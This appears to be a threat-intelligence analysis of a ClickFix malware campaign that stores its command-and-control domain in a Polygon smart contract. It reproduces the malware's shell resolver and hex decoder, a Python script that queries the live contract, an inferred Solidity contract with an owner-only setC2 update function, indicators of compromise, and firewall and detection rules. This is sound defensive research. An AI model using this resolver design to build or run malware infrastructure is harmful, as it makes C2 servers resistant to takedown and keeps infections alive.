ClickFix — Blockchain Dead-Drop Resolver (BDDR)
Polygon smart contract C2 resolution via eth_call. ABI decoding, RPC failover, defensive recommendations. Novel C2 technique.
ClickFix — Blockchain Dead-Drop Resolver (BDDR)
The C2 URL is stored as hex data in a Polygon smart contract. If the domain is seized, the attacker pushes a new on-chain transaction and all infected machines instantly pivot to the new C2.
See also: clickfix-handoff | clickfix-c2-bot | clickfix-infrastructure
1. What is BDDR?
A Blockchain Dead-Drop Resolver stores the active C2 server URL inside a smart contract's on-chain state rather than using DNS, DGA, or hardcoded IPs. The malware makes a read-only eth_call to the contract, decodes the ABI-encoded response, and extracts the C2 hostname.
First documented in academic research (2019–2021), but operational deployment in active APT campaigns targeting macOS developers marks a significant shift toward production-quality C2 resilience.
2. Why BDDR is Unprecedented
| Takedown Method | DNS C2 | Domain Fronting | DGA | BDDR |
|---|---|---|---|---|
| DNS sinkholing | Effective | Partial | Partial | Ineffective |
| Registrar takedown | Effective | Partial | Ineffective | Ineffective |
| IP blocklist | Effective | Partial | Partial | Only fallback IP |
| Smart contract takedown | N/A | N/A | N/A | Impossible — immutable |
| RPC node blocking | N/A | N/A | N/A | Possible but requires blocking all public Polygon RPC |
| Blockchain fork | N/A | N/A | N/A | Infeasible — cost prohibitive |
The contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 is permanently deployed on Polygon Mainnet. No mechanism exists to delete or modify it without the owner's private key.
Attacker Update Capability
The threat actor updates the C2 URL by calling the contract's write function:
- If
sj98xe4.xyzis taken down → attacker updates contract state to new domain - All infected hosts polling via RPC automatically pivot
- No reinfection or payload update required
3. Technical Implementation
RPC Node Failover Array
POLYGON_RPCS=(
"https://polygon.drpc.org"
"https://polygon.publicnode.com"
"https://polygon-mainnet.gateway.tatum.io"
"https://tenderly.rpc.polygon.community"
)
4 distinct public Polygon RPC nodes with failover. All are legitimate free providers — traffic indistinguishable from ordinary blockchain app traffic.
The eth_call Request
{
"jsonrpc": "2.0",
"method": "eth_call",
"params": [
{
"to": "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0",
"data": "0x2686ecea"
},
"latest"
],
"id": 1
}
| Field | Value | Notes |
|---|---|---|
method | eth_call | Read-only — no gas, no tx, no private key |
to | Contract address | Polygon Mainnet |
data | 0x2686ecea | 4-byte function selector (Keccak256) |
| Block tag | latest | Current on-chain state |
Shell Implementation
resolve_c2() {
local rpc_url="$1"
local contract="0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
local selector="0x2686ecea"
response=$(curl -s -X POST "$rpc_url" \
-H "Content-Type: application/json" \
-d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"${contract}\",\"data\":\"${selector}\"},\"latest\"],\"id\":1}")
echo "$response"
}
4. ABI Hex Decoding
Ethereum ABI Encoding for string Return
[32 bytes] Offset pointer to dynamic data
[32 bytes] String length in bytes
[N bytes] String data, zero-padded to 32-byte boundary
Decoding the Response
Raw hex (stripping 0x):
Word 0 (bytes 0-31): 0000000000000000000000000000000000000000000000000000000000000020
Word 1 (bytes 32-63): 000000000000000000000000000000000000000000000000000000000000000b
Word 2 (bytes 64-95): 736a39387865342e78797a000000000000000000000000000000000000000000
Step 1: Word 0 → 0x20 = 32 (offset to string data)
Step 2: Word 1 → 0x0b = 11 (string length)
Step 3: Word 2 → 11 bytes: 736a39387865342e78797a
Step 4: Hex to ASCII:
73→s 6a→j 39→9 38→8 78→x 65→e 34→4 2e→. 78→x 79→y 7a→z
Result: sj98xe4.xyz — the active C2 domain.
Shell Decoder in Malware
decode_c2_from_rpc_response() {
local raw_hex="$1"
local hex="${raw_hex#0x}"
local len_hex="${hex:64:64}"
local str_len=$(printf "%d" "0x${len_hex}")
local str_hex="${hex:128:$((str_len * 2))}"
c2_domain=$(echo "$str_hex" | xxd -r -p)
echo "$c2_domain"
}
5. Python Forensic Reproduction
#!/usr/bin/env python3
"""Forensic reproduction of BDDR. Usage: python3 reproduce_bddr.py"""
import json
import urllib.request
CONTRACT = "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
SELECTOR = "0x2686ecea"
RPC_NODES = [
"https://polygon.drpc.org",
"https://polygon.publicnode.com",
"https://polygon-mainnet.gateway.tatum.io",
"https://tenderly.rpc.polygon.community",
]
def eth_call(rpc_url, contract, data):
payload = json.dumps({
"jsonrpc": "2.0", "method": "eth_call",
"params": [{"to": contract, "data": data}, "latest"], "id": 1
}).encode()
req = urllib.request.Request(rpc_url, data=payload,
headers={"Content-Type": "application/json"}, method="POST")
with urllib.request.urlopen(req, timeout=10) as resp:
return json.loads(resp.read())["result"]
def decode_abi_string(hex_data):
data = hex_data[2:] if hex_data.startswith("0x") else hex_data
offset = int(data[0:64], 16)
length_start = offset * 2
str_len = int(data[length_start:length_start + 64], 16)
str_start = length_start + 64
str_hex = data[str_start:str_start + (str_len * 2)]
return bytes.fromhex(str_hex).decode("utf-8")
for rpc in RPC_NODES:
try:
result = eth_call(rpc, CONTRACT, SELECTOR)
print(f"C2: {decode_abi_string(result)}")
break
except Exception as e:
print(f"Failed: {e}")
6. Inferred Solidity Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract C2Resolver {
address private owner;
string private c2Domain;
constructor(string memory initialDomain) {
owner = msg.sender;
c2Domain = initialDomain;
}
// Selector: 0x2686ecea (read — no auth required)
function getC2() external view returns (string memory) {
return c2Domain;
}
// Update — only owner
function setC2(string memory newDomain) external {
require(msg.sender == owner, "Not authorized");
c2Domain = newDomain;
}
}
Function Selectors (from doc 09)
| Selector | Likely Function | Purpose |
|---|---|---|
0x2686ecea | getC2() | Read C2 domain (infected hosts call this) |
0x893d20e8 | getOwner() | Read contract owner |
0xd75d1ba6 | getServer() | Alternative C2 getter |
0xf2fde38b | transferOwnership() | Owner rotation |
7. On-Chain Timeline
| Date | Event |
|---|---|
| Pre-2026-06-25 | Contract deployed with initial C2 |
| 2026-06-25 | First observed SetServerURL tx |
| 2026-06-27 | sj98xe4.xyz suspended by registrar |
| 2026-06-29 | Attacker registers apdhlhs3.xyz |
| 2026-06-30 | 16th SetServerURL tx — contract updated to new C2 |
| 2026-07-02 | BDDR confirmed — apdhlhs3.xyz decoded from contract |
8. Operational Impact
- C2 domain
sj98xe4.xyzwas suspended within 48 hours of the report - Attacker registered new C2 (
apdhlhs3.xyz) 2 days later for ~$1.00 - Contract update took one on-chain transaction
- All infected hosts pivoted automatically
- Domain takedowns alone are ineffective against BDDR
9. Defensive Recommendations
| Control | Implementation |
|---|---|
| Block Polygon RPC at perimeter | Firewall deny: polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, tenderly.rpc.polygon.community |
| Detect eth_call patterns | IDS rule: POST with JSON body "method":"eth_call" from non-browser processes |
| Monitor xxd/awk hex decoding | EDR rule: xxd -r -p in shell context |
| Blockchain threat intel | Subscribe to on-chain monitoring for contract write events |
Blocking public RPC nodes may impact legitimate web3 workflows. A targeted approach: alert on
eth_callfrom shell interpreters rather than browsers.
10. IOC Quick Reference
| Type | Value |
|---|---|
| Contract | 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 |
| Selector | 0x2686ecea |
| Creator | Attacker-controlled EOA |
| Domains served | sj98xe4.xyz → apdhlhs3.xyz → j9af4sr.guru |
| Network | Polygon Mainnet (Chain ID 137) |
Source: redhat-clickfix-report/docs/03_stage2_blockchain_c2.md + docs/09_infrastructure_analysis.md